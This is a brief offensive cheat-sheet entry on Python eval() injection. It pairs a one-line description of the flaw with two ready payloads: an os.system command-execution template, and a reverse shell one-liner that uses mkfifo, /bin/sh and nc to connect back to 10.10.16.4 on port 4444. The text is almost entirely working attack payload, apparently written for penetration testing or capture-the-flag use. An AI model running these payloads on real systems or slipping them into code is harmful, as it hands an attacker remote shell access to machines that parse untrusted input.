Eval Injection

Python

• The vulnerability arises from unsanitized user input being passed to the eval() function.

__import__('os').system('your_command_here')

Reverse Shell

__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 4444 >/tmp/f')